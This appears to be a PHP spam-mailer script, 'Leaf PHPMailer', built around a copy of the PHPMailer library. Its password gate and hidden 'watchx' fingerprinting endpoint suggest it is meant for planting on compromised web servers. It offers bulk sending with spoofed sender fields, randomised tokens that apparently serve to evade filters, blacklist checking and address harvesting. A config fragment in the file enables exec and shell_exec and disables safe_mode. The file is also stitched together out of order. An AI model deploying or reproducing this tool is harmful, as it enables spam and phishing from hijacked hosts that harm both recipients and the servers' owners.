        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "AV9Q1NHCGeo";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
